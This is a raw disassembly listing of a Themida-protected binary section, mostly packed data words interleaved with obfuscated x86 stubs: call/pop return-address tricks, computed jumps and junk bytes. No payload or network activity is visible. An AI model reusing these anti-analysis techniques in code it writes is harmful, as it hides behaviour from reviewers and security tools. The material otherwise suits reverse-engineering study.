dd 0A620449Fh, 0E0DE1ED9h, 2DF93617h, 0E306F1CDh, 0A0430C8Ah dd 64FF4846h, 2A3F8806h, 0BB14994Ah, 6E237BAEh, 9F637B77h dd 244DB6A1h, 0B88E4F8Ch, 0EE1B940Eh, 3DC21598h, 5A6F8BF9h dd 3B2C0AE6h, 6F8BF876h, 0EE92BD9Dh, 967F812h, 0C927C28Dh dd 66845FCDh, 7993EB0Fh, 60072581h, 0EA0021E8h, 0A30823ECh dd 4BC1451h, 151h, 5836B411h, 985E57Eh, 738952FEh, 6086AC1Bh dd 5FABBC9Ah, 4A4F8A58h, 4A9354F6h, 646F9258h, 5FC41DECh dd 0C0BC0DF0h, 3Fh, 1D637BD5h, 9D5D45CAh, 0FB6C5275h, 759D5D36h dd 0C201FD5Dh, 0DE0228A6h, 9BD30462h, 964F8A74h, 9E2F80AAh dd 0C86F9234h, 91ED0FC8h, 8FBD1952h, 0EDDCA453h, 0E172F94h dd 85F0BCh, 0B4850000h, 29B25836h, 8C57F5D1h, 53AE7A6Eh dd 0E5DB8C3Fh, 2C868F63h, 7CD873ADh, 9FF775CEh, 0FA9E2530h dd 5E9C759Dh, 4B939760h, 0A8AB89E7h, 3CC7704Eh, 4F9029EEh dd 1ED9370Bh, 0DC17E0DEh, 3A20229Ch, 51DE4F5Ch, 3995ABBh dd 19560000h, 0D417D2BDh, 93EA0DFAh, 4DA94C3Bh, 0B638671h dd 26CBC4B3h, 339CFA72h, 70DFB730h, 0AC1B73F5h, 0EC5B3349h dd 41CE1907h, 567BAEBCh, 34B4245Bh, 0F40AED5Ah, 51362D9Ah dd 5D1BE073h, 0C038759Dh, 403EBC37h, 0E3DB11AAh, 62C81E14h dd 7A3FD304h, 0C63A4F8Ah, 0E6448AE8h, 0C5F3FBFAh, 0A7BC4192h dd 67DB6F91h, 28B334D8h, 0E26F91A9h, 0B9155192h, 0D8A0AF93h dd 0E3479FF1h, 0C4BE5285h, 967497Eh, 8473382Bh, 0B8806986h dd 8684E6ABh, 0D9B53469h, 0CD4DCF33h, 0D5A29E42h, 549651EEh dd 0DF68D07Ah, 42E8E604h, 0BC0B83F9h, 0AC8A7076h, 8A586FBBh dd 88E65A4Fh, 0B8522C4Fh, 0D9398E40h, 0F5B14E5Ah, 9C2D864Ah dd 366F9244h, 985BCB3Eh, 10C8625Ch, 45FC4E7h, 55C0BC0Eh dd 0D5000000h, 0A19F637Bh, 0BE4945A6h, 73D515DEh, 0C3044F8Ah dd 0DD3D2FA7h, 0D88C130Bh, 0DC6BA3B4h, 0B7A4B220h, 0CFAD96B9h dd 0D2A0C579h, 0C9A57E0Eh, 0E53F8823h, 93696F91h, 559EFC28h dd 6F91E3C8h, 0C9E413EFh, 0BC0E6762h, 1EE37452h, 356F91F0h dd 0B4CD3AC5h, 0EA000000h, 7E5836B4h, 5D4AD700h, 9169759Dh dd 7EF4AA66h, 0BFC501D8h, 0EE89B6FCh, 0BE18578Eh, 599728C2h dd 0F674CF7Dh, 9D242F98h, 93759DA9h, 0EBE3065Dh, 47A5400Fh dd 11D5DD4Fh, 2C64CF29h, 114F8AB7h, 0B8522C4Eh, 3D1BE440h dd 37C0BE3Ah, 0A9876B73h, 84C2AEBEh, 41BF8349h, 9F686686h dd 0A8AA2444h, 0E45AC1BCh, 0FCDC39D3h, 0CB000001h, 0F46FD8B6h dd 4FAA1571h, 0EE95630h, 0C023ECEAh, 6C612EA8h, 3F97D7C3h dd 7A549550h, 0B6106A8Dh, 0F6D02EC9h, 0A3B4E009h, 7BAEBDDEh dd 0B441B4F5h, 820FD834h, 91759D5Ch, 5093CDA9h, 0AD8DBF17h dd 3AB0B3A2h, 7B8CF35Ch, 0B6A19F63h, 4F8A7436h, 7725C73Bh dd 0F21D79FCh, 9233D667h, 9178F06Fh, 239BD215h, 944D872Dh dd 0CF78074Dh, 0E2377DCh, 0C028BCh, 0B4CD0000h dd 8409DA36h, 93759D5Ch, 8659F3AFh, 0D00E6866h, 4FFDD917h dd 5CBB4093h, 60D8759Dh, 33B235D7h, 9759D59h, 0C92C9BF3h dd 7AFDDBB3h, 0D07C8B03h, 3DB31EC0h, 9B77AB41h, 667AAABDh dd 9B674F8Ah, 1AE0062Ch, 74802B3Ch, 0BDB34984h, 859576h dd 964AF531h, 50723F28h, 0B9816985h, 0AA403EBAh, 0BBBC9A76h dd 9CFC4B43h, 3C27215Bh, 6985506Fh, 32D8B484h, 46A641CEh dd 53A48A48h, 11BBE45Ah, 0FE34h, 0DAB4C900h, 176F8A6Dh dd 502E4DA8h, 0EEE80CE7h, 28A6C621h, 0D5C16E5Fh, 0AB4E3995h dd 688B7452h, 2CC7B00Eh, 0E207F0CEh, 0BEDCA1B2h, 0B6FB7BAEh dd 5A34B44Fh, 9AF40AEDh, 36B4362Dh, 36C22532h, 0F1ADE3D6h dd 6C6A805Bh, 0F9578FA3h, 32BC412Fh, 9FF95552h, 8CB72754h dd 5ECC4C4Fh, 6E85E760h, 35D7B30Bh, 41BF3AC5h, 594D7A2Fh dd 78FBFD42h, 0B06882FCh, 72886BD4h, 0B4C04D96h, 6BD76F8Ch dd 0B555DA0Dh, 9E626F8Ch, 74520822h, 8CB51EE3h, 3AC5356Fh dd 0A4F6BAFh, 0AB23474Bh, 0C0BE3E81h, 7FEDE903h, 3AECDF05h dd 98A910D6h, 0C90A6462h, 0C73BD1ADh, 0D02EC938h, 0E2185791h dd 3E9A46E4h, 0B5EE6442h, 8CCF0664h, 7CC789B6h, 66C9EF8h dd 0A7ADD920h, 0F8C70EF4h, 0E9E50653h, 967020Dh, 9C4C4FE7h dd 7CD852ADh, 0BC1A5093h, 2EF36442h, 45531217h, 47864AF5h dd 3, 0B42C9360h, 2AAD5F37h, 8F50FAD4h, 60FB116Dh, 0DA9D8F07h dd 0BD0624A2h, 10AB413Dh, 8F50FAD4h, 63F41670h, 199C8E08h dd 5404EC83h, 8124048Fh, 42404h, 89530000h, 4C381E3h, 83000000h dd 1C8704EBh, 2C895C24h, 5046824h, 0C890000h, 9A685324h dd 5B30EE15h, 0BBA3B951h, 0CB292ADCh, 5BDD8959h, 240C8B54h dd 5504C483h, 68242C81h, 8F65C413h, 41810841h, 0C4136808h dd 2434FF65h, 4C48159h, 8B000000h, 8957242Ch, 4C781E7h dd 83000000h, 3C8704C7h, 1EE95C24h, 3AFFFADFh db 86h, 0F0h, 0B7h ; --------------------------------------------------------------------------- loc_5A24BF: ; CODE XREF: Themida_:005A1A50j mov eax, 61163A0h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 633C616Ah, 804281Fh, 44CF2610h, 3A14C8A1h, 58B0D4A8h dd 4F1D9DACh, 3D86912Ch, 652C8D8Dh, 0B58B0611h, 60B21DDh dd 174D8D89h, 8F0F060Bh, 6, 1CDB531h, 85C7060Bh, 60B0119h dd 5C40h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0D7C35242h, 0C70234ECh, 0B100985h, 6, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 14E83FDAh, 36000000h, 663FFC72h, 1B2FF190h, 0FA3ED861h dd 0EE12A590h, 80F6EFF0h, 0FF5E34E3h, 0B1AA9B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0EC9CFE1Ch, 50DD1B8Bh, 95FF5366h, 60B0AC5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A4C35343h, 640E6904h dd 2918D026h, 0B005D8Dh, 0FF006A06h, 0B32DD95h, 0EBC08B06h dd 0CA9E4F4Fh, 69AE62h, 6785FA15h, 0FC9744C9h, 0BD70EE92h dd 6E0BB07Bh, 32FE5A59h, 0BB443D2Dh, 628C4AE6h, 30227D90h dd 2159806h, 0C4D1E365h, 0D3697389h, 6922452h, 738EEEAh dd 904882A8h, 72581C3h, 536E654Fh, 8C72A618h, 6955662Ah dd 10E8h, 9E4B6900h, 6A9FCDAEh, 12D8158Eh, 993C6663h, 665BF801h dd 0C381D68Bh, 6A22h, 68D6B70Fh, 0 ; --------------------------------------------------------------------------- mov eax, ecx pop ecx loc_5A264F: ; CODE XREF: Themida_:005A26EAj mov edi, [ebx+ecx] jmp loc_5A2666 ; --------------------------------------------------------------------------- db 91h dd 2369A364h, 0E839B8AEh, 1F44114Ch db 0Ah, 63h ; --------------------------------------------------------------------------- loc_5A2666: ; CODE XREF: Themida_:005A2652j add edi, 2E116E83h mov eax, [ebp+60B19FDh] add edi, 5CBBD634h jmp loc_5A268C ; --------------------------------------------------------------------------- db 0A1h, 0D2h, 0A8h dd 1D149AA7h, 1F2D54B9h, 0AA6880BDh ; --------------------------------------------------------------------------- loc_5A268C: ; CODE XREF: Themida_:005A2678j add edi, 781FDE8Bh mov eax, [ebp+60B1241h] push edi pop dword ptr [ebx+ecx] jns loc_5A26A3 stc loc_5A26A3: ; CODE XREF: Themida_:005A269Cj sub ecx, 0C9A62B9h jmp loc_5A26BC ; --------------------------------------------------------------------------- dw 8033h dd 0EB3EABCEh, 3F2EE1B7h, 0DBB27E38h ; --------------------------------------------------------------------------- loc_5A26BC: ; CODE XREF: Themida_:005A26A9j add ecx, 0C9A62B5h mov esi, eax cmp ecx, 0FFFF96A8h jnz loc_5A26E7 sub dx, 0B762h jmp loc_5A26F7 ; --------------------------------------------------------------------------- dw 0EF0Dh dd 0DC014AADh, 682BCE00h db 0AFh, 79h, 0BEh ; --------------------------------------------------------------------------- loc_5A26E7: ; CODE XREF: Themida_:005A26CAj mov si, dx jmp loc_5A264F ; --------------------------------------------------------------------------- db 95h dd 956881BCh db 23h, 3Ah, 7Dh ; --------------------------------------------------------------------------- loc_5A26F7: ; CODE XREF: Themida_:005A26D5j lea ecx, [ebp+611673Eh] push 0 push edx call sub_5A2708 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A2708 proc near ; CODE XREF: Themida_:005A2700p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5A2708 endp ; --------------------------------------------------------------------------- and eax, 89C6BF0Fh lea ecx, [ebp+17h] or eax, [esi] push 0 push esi call sub_5A272D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A272D proc near ; CODE XREF: Themida_:005A2725p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5A272D endp ; --------------------------------------------------------------------------- db 36h, 0Bh, 0C4h ; --------------------------------------------------------------------------- mov dword ptr [ebp+60B0119h], 6524h mov [ebp+60B3275h], eax mov dword ptr [ebp+60B1009h], 0 jmp loc_5A276B ; --------------------------------------------------------------------------- db 0E2h dd 91623F18h, 0FAA03ACCh db 62h, 0BEh, 13h ; --------------------------------------------------------------------------- loc_5A276B: ; CODE XREF: Themida_:005A275Aj push dword ptr [ebp+60B1F8Dh] push 0 push esi call sub_5A277C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A277C proc near ; CODE XREF: Themida_:005A2774p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5A277C endp ; --------------------------------------------------------------------------- dd 0A814EF7h, 13E8F6D5h, 0DA000000h, 6167CBCh, 287E6E96h dd 4961BA91h, 1024C83Dh, 858B55FCh, 60B1621h, 0C595FF58h dd 6A060B0Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0FD5C351h, 284h, 6AF08B00h, 0DD95FF00h dd 8B060B32h, 0E83AEBC0h, 0DA6D8E72h, 0EBEDEE59h, 638B77Ch dd 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh, 0E1BEC0F2h, 7654ECF7h dd 6036D61h, 0F0693E39h, 0E9969B90h, 0F055E7EAh, 0B39AD6Ch dd 8444E861h, 0DE8BBh, 0CE0C0000h, 292A317Fh, 0EBDEF90Ch dd 0E92C5C17h, 0Bh, 4B715678h, 0D5A1E786h, 5F681C5Bh, 0C781E28Ah dd 6A4Eh, 2DFD8D01h, 0BA060Bh, 0E8000000h, 5, 75EDE810h dd 0BADB81DAh, 594D8D2Dh, 8B3A34FFh, 0B0F199Dh, 0BD315E06h dd 60B2305h, 0D61EE81h, 13E97285h, 2C000000h, 0F8D7217Bh dd 0FFC8AE73h, 5365B218h, 69491559h, 0F6815359h, 4D8DEA56h dd 18B59589h, 0EE81060Bh, 4FCC0378h, 1F71858Bh, 3489060Bh dd 0F856FC17h, 4EA8358h, 17E59D2Bh, 0FA81060Bh, 0FFFF9658h dd 0FF9E850Fh, 8D8BFFFFh, 60B01F1h, 68EC8D8Dh, 6CB70611h dd 1785B529h, 8D89060Bh, 60B174Dh, 0D68B6652h, 1985C75Bh dd 8C060B01h, 6A000058h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0C697C352h, 7C51B13h dd 66920EAFh, 0FF8A8BFh, 0C89h, 0B9666000h, 0EE81FBCAh dd 4E92D88Bh, 985C761h, 60B10h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8BFEC351h dd 199D89D9h, 0FF060B12h, 0B1F8DB5h, 29B50B06h, 0FF060B10h dd 0B0AC595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0FF006AB9h, 0B32DD95h, 0EBC08B06h dd 74251C3Ah, 9BBC073Ch, 0F241562h, 2832BB00h, 5BE710B5h dd 1694106h, 2908D241h, 0A0E3BE32h, 0E31071CDh, 806DCC12h dd 98C78BB8h, 0B9C1F71Ch, 4476B120h, 3E243EFAh, 8DD3ADAEh dd 1169A88Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0FCCA38BBh, 6DBD8BD7h, 89060B01h dd 0B174D8Dh, 0B5958906h, 0C7060B01h, 0B011985h, 57F806h dd 0F9B70F00h, 100985C7h, 60Bh, 0B5FF0000h, 60B12A9h, 2F29958Bh dd 95FF060Bh, 60B0AC5h, 817EB866h, 0CE9h, 0AE73F800h, 0B218FFC8h dd 15595365h, 0FF006A49h, 0B32DD95h, 0EBC08B06h, 6C524B48h dd 0EA13A717h, 0E8E12989h, 71B8B6C4h, 8AD1B115h, 50F936D4h dd 74CB6082h, 74BB424Ah, 52FDCEFAh, 1859CC3Eh, 88EEBABCh dd 173E3F84h, 6223FD39h, 1F1A610Dh, 9D937A80h, 0BDC2367Fh dd 907BF05h, 0DBC794F2h, 6E817h, 5C800000h, 0ABA0D127h dd 9529F560h, 60B2B25h, 8D895961h, 60B1069h, 6529C181h dd 9D8B0000h, 60B05CDh, 8A0FD22Bh, 4, 50FBB66h, 8111048Bh dd 58AD59C0h, 11E94Fh, 9BEC0000h, 0DDC776B2h, 0C5D42F64h dd 0DBC60F3Ah, 81BD6084h, 0F257F3F0h, 97BE665Fh, 0FF08110h dd 0E92A763Dh, 6, 1A606B2Fh, 4891848h, 6860F11h, 2B000000h dd 0B15E99Dh, 0DF816606h, 0EA8159F5h, 49DD0A5Dh, 13E8h dd 55FA4500h, 0B167FD15h, 75D18293h, 0A7020FB6h, 0B1D83A94h dd 0CE9h, 8A60FB00h, 1CE9D09Dh, 36BC3496h, 0C2815B71h dd 49DD0A59h, 60D78B60h, 66D68B66h, 6711CB81h, 0FA816161h dd 0FFFF9BD4h, 22850Fh, 51600000h, 644665BEh, 0E2815B15h dd 1557E1B1h, 21E961h, 66EC0000h, 999A8A77h, 1AAF7307h dd 8A19D9DDh, 0BF665750h, 5B5E4F9Dh, 0FFFF33E9h, 7BC23CFFh dd 0E80F0BEFh, 8, 58AB009Fh, 0C49033A9h, 0E8DCBB66h, 0F88B6659h dd 704DC181h, 8B660000h, 1BE968DAh, 0FA8B0000h, 6985895Ah dd 0FF060B1Ah, 0F08B6631h, 5E95358h, 9000000h, 0CDDE0305h dd 8EE8815Eh, 89322E94h, 0B04A5BDh, 0C4E88106h, 8B0D1AE7h dd 8CF081F2h, 0E9499D89h, 0Ah, 975B86E7h, 119474DDh, 189F0DCh dd 8101E983h, 88CFCD6h, 49494937h, 718D8B60h, 80060B06h dd 81612DC0h, 1EAh, 1B850F00h, 8B000000h, 0B0BD19Dh, 1BE906h dd 8C930000h, 24CE0375h, 0A427B90Eh, 59FAE40h, 0E9F8F1D9h dd 0FFFFFF7Fh, 992BC527h, 828D8D96h, 6A06116Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 5E64C357h, 0AAC6ACDAh, 4D8D8937h, 66060B17h, 85C7DF8Bh dd 60B0119h, 5F84h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 67C35040h, 90E63183h, 0E9197D71h, 14h dd 0AA5693C5h, 7A9895E7h, 0EEAF677Bh, 0BF30F16Bh, 99CF0D58h dd 100985C7h, 60Bh, 8E90000h, 3000000h, 0C96EBB0Ch, 0FF65DB6Dh dd 0B19C9B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0FFD5B0BFh, 0B0AC595h, 11E906h, 121F0000h dd 0AA7D8B0h, 95F6B21Bh, 0CFBC3BA1h, 6A4A6DFEh, 0DD95FF00h dd 8B060B32h, 0C26DEBC0h, 39F3A3E6h, 0DDF77A1h, 152CA0FCh dd 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h, 2C8DAC97h dd 0DE782ED0h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h, 0A0F85E52h dd 97926708h, 26ACBA8Ah, 0D0A6928h, 0ED04C79h, 32AAB3ADh dd 0E356821h, 759A3E78h, 0EFE31BA1h, 0BF274AA3h, 47190CC9h dd 82C0558h, 0F2633E73h, 0DAD2CB56h, 0E86D0468h, 6D898D8Dh dd 9D890611h, 60B18E5h, 174D8D89h, 858B060Bh, 60B03C9h dd 11985C7h, 5C18060Bh, 0B5890000h, 60B28CDh, 10E8h, 0C8D1DF00h dd 50369DA8h, 89B17D99h, 0FC86FE46h, 965DB873h, 0C75806B6h dd 0B100985h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0A46ABB08h, 0B5FF0FE3h dd 60B1B7Dh, 8870Fh, 8E0F0000h, 2, 0BD8B6160h, 60B0B1Dh dd 0AC595FFh, 6A060Bh, 32DD95FFh, 0C08B060Bh, 9942AEBh dd 6C6D0051h, 5359918h, 0F1E276E7h, 0EADCA3E9h, 0D061A3DCh dd 4F34D70Dh, 0EF801AA8h, 36E26D06h, 9975820Fh, 0BDEFDD68h dd 6E7C8D8Dh, 8B600611h, 0B177DB5h, 128E0F06h, 0E9000000h dd 0Dh, 57C6E3A4h, 4A1307F9h, 5067A6B7h, 8D896120h, 60B174Dh dd 68F0Fh, 8D890000h, 60B2425h, 11985C7h, 68D4060Bh, 0D18B0000h dd 100985C7h, 60Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0B0EED2C3h, 6890F44h dd 89000000h, 0B14A9BDh, 0E0816606h, 858BBD61h, 60B29E5h dd 2705B5FFh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 8855CFC3h, 8B9C5B55h, 0B02FDBDh dd 0C595FF06h, 0B060B0Ah, 0B0EFDBDh, 0FF006A06h, 0B32DD95h dd 0EBC08B06h, 0E549396Bh, 0F598E6A9h, 1A17C968h, 0BFE8F2F5h dd 495EC5C0h, 7828DFACh, 9019AF08h, 0FB08C4CAh, 3BCBE583h dd 9BAB312Eh, 8DB13963h, 0C23803DFh, 465E381Fh, 8091EEB5h dd 0B1C6A5FCh, 4B47523Ch, 0EEE72D8Ch, 14A14473h, 0E76C0272h dd 66D1D577h, 0F7C10DC2h, 0C75CA0CCh, 55A870D3h, 0A2DE9EFBh dd 2F8365E2h, 0D06E90BDh dd 9DA2BB90h, 0EE8h, 0D81DB00h, 0E60903FEh, 67D2A678h dd 8A378EDCh, 0BF6659F0h, 0C181DBE3h, 6FBEh, 348BDB2Bh dd 0D7B70F19h, 0BCD4EE81h, 56BF53B1h, 8124F038h, 3CCEFBF6h dd 0E99D0165h, 81060B08h, 0B6B5FFEEh, 89FBB47Eh, 958B1934h dd 60B04A9h, 0BE9h, 3BCE1000h, 4C5302C3h, 28011E92h, 0D5E7EB81h dd 858B2C81h, 60B243Dh, 0D5E3C381h, 0BD892C81h, 60B27D9h dd 90C0FB81h, 850FFFFFh, 0FFFFFF9Eh, 0E8CCC080h, 0Fh, 0AF2EF6Ch dd 2B5B7A78h, 391B67A7h, 60ABBF39h, 891EE880h, 0B00399Dh dd 565A6106h, 10E9h, 2DED1000h, 0BCD5D89Eh, 6F3EC741h dd 372300E7h, 0C2815BB8h, 6E42h, 29FD8589h, 60BE060Bh dd 0E900001Bh, 0Eh, 7DD5FB3Ah, 0C24E6695h, 638954E5h, 3A8B6FA7h dd 1F658D89h, 0EF81060Bh, 3093848Dh, 33298503h, 0C781060Bh dd 0D7D68A8h, 81DBB70Fh, 52D9E8EFh, 0CF7B807h, 3A892A86h dd 83C1B70Fh, 858B02EAh, 60B2241h, 0B70F4A4Ah, 1EE83D8h dd 12850Fh, 5BB0000h, 0E91B8A95h, 22h, 8FBC7BF9h, 346C0959h dd 0F498D89h, 9FE9060Bh, 38FFFFFFh, 9EB62253h, 7F6E99D3h dd 0CEC791h, 8D8D3CC0h, 61170BEh, 4D8D89FCh, 1060B17h dd 0B32A9BDh, 1985C706h, 4C060B01h, 0F000060h, 85C7C6BFh dd 60B1009h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5A3117 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A3117 proc near ; CODE XREF: Themida_:005A310Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5A3117 endp ; --------------------------------------------------------------------------- db 5Ch dd 0BD31DC8Dh, 60B0149h, 891DD280h, 0B183D9Dh, 8DB5FF06h dd 0E9060B1Fh, 0Bh, 0F926AF6Fh, 0E7F8ABE0h, 0FFF8DDF3h dd 0B0AC595h, 79B50B06h, 6A060B16h, 0DD95FF00h, 8B060B32h dd 6B3AEBC0h, 51439FBCh, 48EBB9FAh, 0C4674AE3h, 0A9105757h dd 74315BBh, 19BCCD4Dh, 0AD99E0D7h, 0E27565C4h, 157FD26Eh dd 0A7CFDBDFh, 0F6D2AF9Bh, 80F986F5h, 19983A54h, 0D1C242FBh dd 14E835h, 7D580000h, 2055173Ah, 0D120993Dh, 0B6C9390Bh dd 4B4A6FEBh, 0DE9F441h, 3B000000h, 2D533925h, 8045DCB4h dd 82C1BE20h, 0A9BD8958h, 81060B0Fh, 5ACDC0h, 25BD8B00h dd 68060B0Ch, 1683h, 68B0Fh, 95890000h, 60B0AEDh, 62C9805Bh dd 895E30FFh, 0B31C19Dh, 0F4F68106h, 8B40FC78h, 0B08C9BDh dd 0DBF68106h, 0B0F354Eh, 0B0E398Dh, 82C68106h, 0B9380668h dd 69A828F5h, 0C2803089h, 4E88340h, 12850F4Bh, 0BA000000h dd 7C94B5CBh, 32E9h, 1492D200h, 29AB0F55h, 13E823h, 87E10000h dd 82E93EB9h, 65E7FABFh, 508EBFB6h, 0ABF06A01h, 59D78B68h dd 0FFFF93E9h, 64287BFFh, 6EA445C8h, 0E86F3C9Ch, 6, 89EB885Bh dd 0BE6670C8h, 895A2CBDh, 0B05CDB5h, 0EBC28106h, 0BB000074h dd 2A91A4C9h, 7843C381h, 9509D56Eh, 60B2981h, 0BF0F3A8Bh dd 7DC781CAh, 91853FFh, 0B1EC195h, 83F78106h, 8B580213h dd 0B0CE58Dh, 47F78106h, 0E90511A5h, 10h, 5404610Fh, 0C5A8404Eh dd 93E45FB6h, 0C7096247h, 10E957h, 9B690000h, 3707419h dd 7FF4951Bh, 0F141CC7h, 28F9470h, 8B01EA83h, 0B27D185h dd 4A4A4A06h, 0B6DBD09h, 0EB83060Bh, 15850F01h, 9000000h dd 0B10618Dh, 21E906h, 4FFF0000h, 0BCF0854Dh, 0FEB9C752h dd 90C08166h, 0FF76E939h, 0E56CFFFFh, 0C5D0695Eh, 647F5B2Eh dd 82A4E8C1h, 889A075h, 0DC781469h, 4F378DA6h, 2E86362Eh dd 908635A1h, 4813D925h, 99053025h, 148D11B4h, 81023F25h dd 7863025h, 49908198h, 0A5893023h, 9086305Eh, 60C3B5E3h dd 0CCC8362Eh, 12863021h, 0A1C4E765h, 0A0C2BB75h, 0CB86BB21h dd 79821461h, 0B11785DAh, 0CD0B362Eh, 22884D3Dh, 0E20DE0DAh dd 21C3B5E3h, 0ECC8362Eh, 0D585B61Ah, 20A234A4h, 6F970F74h dd 43908190h, 3C03BD23h, 0ED803E58h, 0B07EBBF5h, 84863035h dd 428638CCh, 0A4899625h, 9086302Bh, 474F3B6Ch, 0DB79C0A0h dd 128BD9DAh, 940B3025h, 828D7DF2h, 4286359Dh, 0AC65CF25h dd 81F4BB98h, 190BBD23h, 9C802156h, 94B61537h, 8247FF0Eh dd 889A075h, 0DC781469h, 4F378DA6h, 2E86362Eh, 908635A1h dd 4813D925h, 99053025h, 5E983B4h, 22B9A4F3h, 0E8000000h dd 0Eh, 436BF0AAh, 61FCDCBDh, 0F4D6047Bh, 9501E026h, 60B06B5h dd 96BB665Ah, 1CC281F6h, 66000067h, 688E88BFh, 19A9h, 33C19D8Bh dd 235E060Bh, 0B2E918Dh, 29028B06h, 0B1581B5h, 0AC08106h dd 8B6C64A9h, 8CE881DAh, 815E2A9Bh, 956CD8EBh, 0A2C0812Dh dd 524026FFh, 3820Fh, 8B660000h, 2895BFAh, 2904EA83h, 0B04298Dh dd 1EE8306h, 0FFBF850Fh, 9589FFFFh, 60B1F79h, 74FD8D8Dh dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0E98FCCC3h, 79867521h, 0CE9h, 5E2BE400h dd 18F86697h, 0C3338215h, 0ABE0807Ah, 174D8D89h, 0C7FC060Bh dd 0B011985h, 628C06h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 19E5F9E5h, 8589B34Eh dd 60B0DB5h, 68F0Fh, 0B58B0000h, 60B2A8Dh, 100985C7h, 60Bh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0EF5841C3h, 205FD20Eh, 0F19D8927h, 0FF060B30h dd 0B1A49B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0C595FF71h, 6A060B0Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0F5D9C356h, 1935B58Bh, 6A060Bh, 32DD95FFh, 0C08B060Bh dd 820B0DEBh, 24469F99h, 7A730406h, 0EB0A2184h, 0A41F3F04h dd 813E92Ch, 0B2C40000h, 58AF589Bh, 0E1D8A69h, 0BFC72033h dd 6EB25380h, 2E358C57h, 698AB5CFh, 995A67BCh, 362D186Ch dd 62F1CCD9h, 0AFDB5399h, 20C58568h, 1EBDEB51h, 6BFE5EDh dd 1BEB05E3h, 0C3943A6Ah, 0B6AD98EDh, 5D8F94E8h, 3FD122D3h dd 0D4F334D9h, 39D7CB14h, 9F1774ADh, 0DF1C9BDh, 0F379445Ch dd 6B9CD61h, 0EF0E3A61h, 3AE82FD4h, 0CB655952h, 973F9C28h dd 0B9FF0DEBh, 1C68FC6Eh, 933A616Eh, 7B8C81AFh, 613FA4Eh dd 9F9947CBh, 349CE90Eh, 63F0D4E5h, 36647891h, 4457462Ch dd 570B65AEh, 3A1E2EDFh, 718B7256h, 6886FA4Eh, 4891h, 8B9A0B00h dd 58F6CABEh, 0FBDADEE2h, 6352A617h, 0E6E7219Fh, 1FC4FB01h dd 400D4CFDh, 276532h, 0DE830000h, 0DF17FBDAh, 0C3941DAEh dd 552B9082h, 78CA6754h, 28A5FF29h, 5486B9C3h, 9C605FA9h dd 2ED58EB8h, 17h, 0FBDADEB6h, 1DADDF17h, 9484C394h, 5231E69h dd 0A7FD22A3h, 0BDBD5B98h, 860A4750h, 8418A442h, 582C196Ah dd 48DA0064h, 8F734E5Dh, 87BEC24Bh, 0A531DF33h, 0BD9EFC80h dd 916F26C5h, 7BE85655h, 600097F3h, 0CE22183Ah, 64B766EAh dd 12618E55h, 49534B3Fh, 59842832h, 2E446B34h, 0BFF560D4h dd 9418AA2Eh, 307D1AF0h, 940BD877h, 1003F1D1h, 0E83B123Ch dd 96E502D1h, 65E9E82Eh, 0E979CD21h, 307D538Dh, 0CB30BDF7h dd 0C10E14B8h, 7D53D9ADh, 7054AE30h, 6F31C71Ch, 0DB9F710Eh dd 0F8D5DE65h, 0CD4CB406h, 3740050Ch, 3A25h, 0E6FC300h dd 29BD9F71h, 0C3941D5Dh, 0BD76E8D2h, 4D1EBD47h, 0D8C95FA6h dd 0C1FEE18h, 50BD5B3Dh, 4E82764Bh, 0DD0208A0h, 1D1FF98Dh dd 8E9D6C06h, 5D8BCFB3h, 35C8E7h, 0BD500000h, 889C4450h dd 91F5C9BDh, 7F3FE92Dh, 0DAE9DA1Eh, 55DA57F3h, 28D7F1A8h dd 4DA10952h, 5D29BDEBh, 7EC3941Dh, 50BDA204h, 13DD0B4Ah dd 0FED3DEF5h, 0BD857B18h, 1DCFBB33h, 434EC394h, 0C049B10Eh dd 0DE3286BBh, 68C8DD30h, 5663B41Ch, 0F9918E72h, 9ABAB389h 